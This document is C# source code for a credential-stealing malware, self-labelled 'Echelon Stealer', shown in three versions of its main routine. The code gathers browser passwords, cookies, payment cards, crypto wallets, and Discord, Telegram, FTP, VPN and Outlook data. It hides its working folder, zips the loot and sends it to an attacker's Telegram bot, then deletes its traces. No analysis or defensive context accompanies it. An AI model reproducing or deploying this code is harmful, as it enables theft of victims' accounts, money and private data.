public static void Start()
{
try
{
Directory.CreateDirectory(Global.Echelon_Dir);
Directory.CreateDirectory(Global.Browsers);
}
catch
{
}
new Thread((ThreadStart) delegate
{
al.a(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
ad.a(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
TGrabber.Start(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
an.a(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
ao.a(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
am.a(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
ae.a(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
af.a(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
ab.b(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
ai.a(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
aj.a(Global.Echelon_Dir);
}).Start();
new Thread((ThreadStart) delegate
{
q.b(Global.Browsers);
r.a(Global.Browsers);
o.a(Global.Browsers);
p.a(Global.Browsers);
s.a(Global.Browsers);
}).Start();
new Thread((ThreadStart) delegate
{
aa.d(Global.Browsers);
aa.c(Global.Browsers);
}).Start();
new Thread((ThreadStart) delegate
{
ak.a(Global.Echelon_Dir);
}).Start();
ba.a(Global.Echelon_Dir);
GetFiles.Inizialize(Global.Echelon_Dir);
Thread.Sleep(new Random(Environment.TickCount).Next(30000, 60000));
string ac = Global.dir + "\\" + Global.DateLog + "_" + Global.GetHwid() + Global.CountryCOde() + ".zip";
i.a(Global.Echelon_Dir, ac);
string text = Global.dir + "\\" + Global.DateLog + "_" + Global.GetHwid() + Global.CountryCOde() + ".zip";
byte[] file = File.ReadAllBytes(text);
string url = string.Concat(Global.ApiUrl, g.d, "/sendDocument?chat_id=", g.e, "&caption=\ud83d\udc64 " + Environment.MachineName + "/" + Environment.UserName + "\n\ud83c\udff4 IP: " + Global.IP + Global.Country() + "\n\ud83c\udf10 Browsers Data" + "\n ∟\ud83d\udd11" + (q.a + y.a + aa.a) + "\n ∟\ud83c\udf6a" + (r.a + aa.b) + "\n ∟\ud83d\udd51" + s.a + "\n ∟\ud83d\udcdd" + o.a + "\n ∟\ud83d\udcb3" + p.a + "\n\ud83d\udcb6 Wallets: " + ba.a + "\n\ud83d\udcc2 FileGrabber: " + GetFiles.count + "\n\ud83d\udd79 Steam: " + ((al.a > 0) ? "✅" : "❌") + "\n\ud83d\udcac Discord: " + ((ad.a > 0) ? "✅" : "❌") + "\n✈\ufe0f Telegram: " + ((TGrabber.count > 0) ? "✅" : "❌") + "\n\ud83d\udca1 Jabber: " + ((ai.a > 0) ? "✅" : "❌") + "\n\ud83d\udce1 FTP" + "\n ∟ FileZilla: " + ((ae.a > 0) ? "✅" : "❌") + "\n ∟ TotalCmd: " + ((af.a > 0) ? "✅" : "❌") + "\n\ud83d\udd0c VPN" + "\n ∟ NordVPN: " + ((am.a > 0) ? "✅" : "❌") + "\n ∟ OpenVPN: " + ((an.a > 0) ? "✅" : "❌") + "\n ∟ ProtonVPN: " + ((ao.a > 0) ? "✅" : "❌") + "\n\ud83c\udd94 Global: " + Global.GetHwid() + "\n⚙\ufe0f " + ak.d());
try
{
Thread.Sleep(new Random(Environment.TickCount).Next(1000, 2000));
SenderAPI.POST(file, text, "application/x-ms-dos-executable", url);
File.AppendAllText(g.b + "\\logs", j.a());
Directory.Delete(Global.dir + "\\", recursive: true);
}
catch
{
Thread.Sleep(new Random(Environment.TickCount).Next(1000, 2000));
if (!Directory.Exists(g.b))
{
DirectoryInfo directoryInfo = Directory.CreateDirectory(g.b);
Directory.CreateDirectory(g.b);
directoryInfo.Refresh();
File.AppendAllText(g.b + "\\logs", j.a());
Directory.Delete(Global.dir + "\\", recursive: true);
}
}
}
public static void GetStealer()
{
// Создаем временные директории для сбора лога
Directory.CreateDirectory(Help.Echelon_Dir);
Directory.CreateDirectory(Help.Browsers);
Directory.CreateDirectory(Help.Passwords);
Directory.CreateDirectory(Help.Autofills);
Directory.CreateDirectory(Help.Downloads);
Directory.CreateDirectory(Help.Cookies);
Directory.CreateDirectory(Help.History);
Directory.CreateDirectory(Help.Cards);
//Скрываем временную папку
File.SetAttributes(Help.dir, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System);
// Запускаем граббер файлов в отдельном потоке
GetFiles.Inizialize(Help.Echelon_Dir);
Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));
// Chromium
new Thread(() =>
{
Chromium.GetCookies(Help.Cookies);
}).Start();
new Thread(() =>
{
Chromium.GetPasswords(Help.Passwords);
}).Start();
new Thread(() =>
{
Chromium.GetAutofills(Help.Autofills);
}).Start();
new Thread(() =>
{
Chromium.GetDownloads(Help.Downloads);
}).Start();
new Thread(() =>
{
Chromium.GetHistory(Help.History);
}).Start();
new Thread(() =>
{
Chromium.GetCards(Help.Cards);
}).Start();
new Thread(() =>
{
// Mozilla
Steal.Cookies();
}).Start();
new Thread(() =>
{
Steal.Passwords();
}).Start();
new Thread(() =>
{
ProtonVPN.Start(Help.Echelon_Dir);
}).Start();
new Thread(() =>
{
Outlook.GrabOutlook(Help.Echelon_Dir);
}).Start();
new Thread(() =>
{
OpenVPN.Start(Help.Echelon_Dir);
}).Start();
new Thread(() =>
{
NordVPN.Start(Help.Echelon_Dir);
}).Start();
new Thread(() =>
{
Startjabbers.Start(Help.Echelon_Dir);
}).Start();
new Thread(() =>
{
TGrabber.Start(Help.Echelon_Dir);
}).Start();
new Thread(() =>
{
DGrabber.Start(Help.Echelon_Dir);
}).Start();
Screenshot.Start(Help.Echelon_Dir);
BuffBoard.Inizialize(Help.Echelon_Dir);
Systemsinfo.ProgProc(Help.Echelon_Dir);
FileZilla.Start(Help.Echelon_Dir);
TotalCommander.Start(Help.Echelon_Dir);
StartWallets.Start(Help.Echelon_Dir);
DomainDetect.Start(Help.Browsers);
// Пакуем в апхив с паролем
string zipName = Help.dir + "\\" + Help.DateLog + "_" + Help.HWID + Help.CountryCOde() + ".zip";
using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку
{
zip.CompressionLevel = CompressionLevel.BestCompression; // Задаем максимальную степень сжатия
zip.Comment = "Echelon Stealer by @madcod Log. <Build v3.0>" +
"\n|----------------------------------------|" +
"\nPC:" + Environment.MachineName + "/" + Environment.UserName +
"\nIP: " + Help.IP + Help.Country() +
"\nHWID: " + Help.DateLog + "_" + Help.HWID
;
zip.Password = Program.passwordzip; // Задаём пароль
zip.AddDirectory(@"" + Help.Echelon_Dir); // Кладем в архив содержимое папки с логом
zip.Save(@"" + zipName); // Сохраняем архив
}
string LOG = @"" + zipName;
byte[] file = File.ReadAllBytes(LOG);
string url = string.Concat(new string[]
{
Help.ApiUrl,
Program.Token,
"/sendDocument?chat_id=",
Program.ID,
"&caption=👤 " + Environment.MachineName + "/" + Environment.UserName +
"\n🏴 IP: " + Help.IP + Help.Country() +
"\n🌐 Browsers Data" +
"\n ∟🔑" + (Chromium.Passwords + Edge.count + Steal.count) +
"\n ∟🍪" + (Chromium.Cookies + Steal.count_cookies) +
"\n ∟🕑" + Chromium.History +
"\n ∟📝" + Chromium.Autofills +
"\n ∟💳" + Chromium.CC +
"\n💶 Wallets: " + (StartWallets.count > 0 ? "✅" : "❌") +
(Electrum.count > 0 ? " Electrum" : "") +
(Armory.count > 0 ? " Armory" : "") +
(AtomicWallet.count > 0 ? " Atomic" : "") +
(BitcoinCore.count > 0 ? " BitcoinCore" : "") +
(Bytecoin.count > 0 ? " Bytecoin" : "") +
(DashCore.count > 0 ? " DashCore" : "") +
(Ethereum.count > 0 ? " Ethereum" : "") +
(Exodus.count > 0 ? " Exodus" : "") +
(LitecoinCore.count > 0 ? " LitecoinCore" : "") +
(Monero.count > 0 ? " Monero" : "") +
(Zcash.count > 0 ? " Zcash" : "") +
(Jaxx.count > 0 ? " Jaxx" : "") +
//
"\n📂 FileGrabber: " + GetFiles.count + //Работает
"\n💬 Discord: " + (DGrabber.count > 0 ? "✅" : "❌") + //Работает
"\n✈️ Telegram: " + (TGrabber.count > 0 ? "✅" : "❌") + //Работает
"\n💡 Jabber: " + (Startjabbers.count + Pidgin.PidginCount > 0 ? "✅" : "❌") +
(Pidgin.PidginCount > 0 ? " Pidgin (" + Pidgin.PidginAkks + ")" : "") +
(Startjabbers.count > 0 ? " Psi" : "") + //Работает
"\n📡 FTP" +
"\n ∟ FileZilla: " + (FileZilla.count > 0 ? "✅" + " (" + FileZilla.count + ")" : "❌") + //Работает
"\n ∟ TotalCmd: " + (TotalCommander.count > 0 ? "✅" : "❌") + //Работает
"\n🔌 VPN" +
"\n ∟ NordVPN: " + (NordVPN.count > 0 ? "✅" : "❌") + //Работает
"\n ∟ OpenVPN: " + (OpenVPN.count > 0 ? "✅" : "❌") + //Работает
"\n ∟ ProtonVPN: " + (ProtonVPN.count > 0 ? "✅" : "❌") + //Работает
"\n🆔 HWID: " + Help.HWID + //Работает
"\n⚙️ " + Systemsinfo.GetOSInformation() +
"\n🔎 " + File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
});
try
{
SenderAPI.POST(file, LOG, "application/x-ms-dos-executable", url);
Directory.Delete(Help.dir + "\\", true);
//Записываем HWID в файл, означает что лог с данного ПК уже отправлялся и больше слать его не надо.
File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
}
catch
{
}
}
public static void GetCollection()
{
try
{
// Создаем временные директории для сбора лога
Directory.CreateDirectory(Help.collectionDir);
Directory.CreateDirectory(Help.Browsers);
Directory.CreateDirectory(Help.Passwords);
Directory.CreateDirectory(Help.Autofills);
Directory.CreateDirectory(Help.Downloads);
Directory.CreateDirectory(Help.Cookies);
Directory.CreateDirectory(Help.History);
Directory.CreateDirectory(Help.Cards);
}
catch { }
Task[] t0 = new Task[1] {
new Task(() => Files.GetFiles(Help.collectionDir)),
};
Task[] t1 = new Task[1] {
new Task(() => GetChromium()),
};
Task[] t2 = new Task[1] {
new Task(() => GetGecko()),
};
Task[] t3 = new Task[1] {
new Task(() => Edge.GetEdge(Help.Passwords)),
};
Task[] t4 = new Task[1] {
new Task(() => Outlook.GrabOutlook(Help.collectionDir)),
};
Task[] t5 = new Task[1] {
new Task(() => FileZilla.GetFileZilla(Help.collectionDir)),
};
Task[] t6 = new Task[1] {
new Task(() => TotalCommander.GetTotalCommander(Help.collectionDir)),
};
Task[] t7 = new Task[1] {
new Task(() => ProtonVPN.GetProtonVPN(Help.collectionDir)),
};
Task[] t8 = new Task[1] {
new Task(() => OpenVPN.GetOpenVPN(Help.collectionDir)),
};
Task[] t9 = new Task[1] {
new Task(() => NordVPN.GetNordVPN(Help.collectionDir)),
};
Task[] t10 = new Task[1] {
new Task(() => Telegram.GetTelegram(Help.collectionDir)),
};
Task[] t11 = new Task[1] {
new Task(() => Discord.GetDiscord(Help.collectionDir)),
};
Task[] t12 = new Task[1] {
new Task(() => Wallets.GetWallets(Help.collectionDir)),
};
Task[] t13 = new Task[1] {
new Task(() => Systemsinfo.GetSystemsData(Help.collectionDir)),
};
Task[] t14 = new Task[1] {
new Task(() => DomainDetect.GetDomainDetect(Help.Browsers)),
};
try
{
new Thread(() => { foreach (var t in t0)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t1)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t2)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t3)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t4)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t5)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t6)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t7)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t8)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t9)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t10)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t11)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t12)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t13)
{
t.Start();
}
}).Start();
new Thread(() => { foreach (var t in t14)
{
t.Start();
}
}).Start();
Task.WaitAll(t0);
Task.WaitAll(t1);
Task.WaitAll(t2);
Task.WaitAll(t3);
Task.WaitAll(t4);
Task.WaitAll(t5);
Task.WaitAll(t6);
Task.WaitAll(t7);
Task.WaitAll(t8);
Task.WaitAll(t9);
Task.WaitAll(t10);
Task.WaitAll(t11);
Task.WaitAll(t12);
Task.WaitAll(t13);
Task.WaitAll(t14);
}
catch { }
try
{
// Пакуем в апхив с паролем
string zipArchive = Help.dir + "\\" + Help.dateLog + "_" + Help.HWID + Help.CountryCOde() + ".zip";
using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку
{
zip.ParallelDeflateThreshold = -1;
zip.UseZip64WhenSaving = Zip64Option.Always;
zip.CompressionLevel = CompressionLevel.Default; // Задаем степень сжатия
zip.AddDirectory(Help.collectionDir); // Кладем в архив содержимое папки с логом
zip.Save(zipArchive); // Сохраняем архив
}
string byteArchive = zipArchive;
byte[] file = File.ReadAllBytes(byteArchive);
string url = string.Concat(new string[]
{
Help.ApiUrl,
Program.Token,
"/sendDocument?chat_id=",
Program.ID,
"&caption=" +
"\n👤 " + Environment.MachineName + "/" + Environment.UserName +
"\n🏴 IP: " + Help.IP + Help.Country() +
"\n🌐 Browsers Data" +
"\n ∟🔑" + (Chromium.Passwords + Edge.count + Steal.count) +
"\n ∟🍪" + (Chromium.Cookies + Steal.count_cookies) +
"\n ∟🕑" + Chromium.History +
"\n ∟📝" + Chromium.Autofills +
"\n ∟💳" + Chromium.CC +
"\n💶 Wallets: " + (Wallets.count > 0 ? "✅" : "❌") +
(Electrum.count > 0 ? " Electrum" : "") +
(Armory.count > 0 ? " Armory" : "") +
(AtomicWallet.count > 0 ? " Atomic" : "") +
(BitcoinCore.count > 0 ? " BitcoinCore" : "") +
(Bytecoin.count > 0 ? " Bytecoin" : "") +
(DashCore.count > 0 ? " DashCore" : "") +
(Ethereum.count > 0 ? " Ethereum" : "") +
(Exodus.count > 0 ? " Exodus" : "") +
(LitecoinCore.count > 0 ? " LitecoinCore" : "") +
(Monero.count > 0 ? " Monero" : "") +
(Zcash.count > 0 ? " Zcash" : "") +
(Jaxx.count > 0 ? " Jaxx" : "") +
//
"\n📂 FileGrabber: " + Files.count + //Работает
"\n💬 Discord: " + (Discord.count > 0 ? "✅" : "❌") + //Работает
"\n✈️ Telegram: " + (Telegram.count > 0 ? "✅" : "❌") + //Работает
"\n💡 Jabber: " + (Startjabbers.count + Pidgin.PidginCount > 0 ? "✅" : "❌") +
(Pidgin.PidginCount > 0 ? " Pidgin (" + Pidgin.PidginAkks + ")" : "") +
(Startjabbers.count > 0 ? " Psi" : "") + //Работает
"\n📡 FTP" +
"\n ∟ FileZilla: " + (FileZilla.count > 0 ? "✅" + " (" + FileZilla.count + ")" : "❌") + //Работает
"\n ∟ TotalCmd: " + (TotalCommander.count > 0 ? "✅" : "❌") + //Работает
"\n🔌 VPN" +
"\n ∟ NordVPN: " + (NordVPN.count > 0 ? "✅" : "❌") + //Работает
"\n ∟ OpenVPN: " + (OpenVPN.count > 0 ? "✅" : "❌") + //Работает
"\n ∟ ProtonVPN: " + (ProtonVPN.count > 0 ? "✅" : "❌") + //Работает
"\n🆔 HWID: " + Help.HWID + //Работает
"\n⚙️ " + Systemsinfo.GetOSInformation() +
"\n🔎 " + File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
});
SenderAPI.POST(file, byteArchive, "application/x-ms-dos-executable", url);
}
catch
{
}
}
